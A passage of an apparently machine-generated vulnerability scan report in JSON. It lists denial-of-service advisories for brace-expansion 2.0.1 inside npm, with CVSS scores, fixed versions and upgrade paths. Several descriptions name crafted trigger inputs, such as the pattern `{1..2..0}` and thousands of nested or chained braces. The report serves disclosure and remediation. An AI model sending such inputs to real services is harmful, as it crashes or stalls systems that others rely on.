"libnpmpack@9.1.15",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
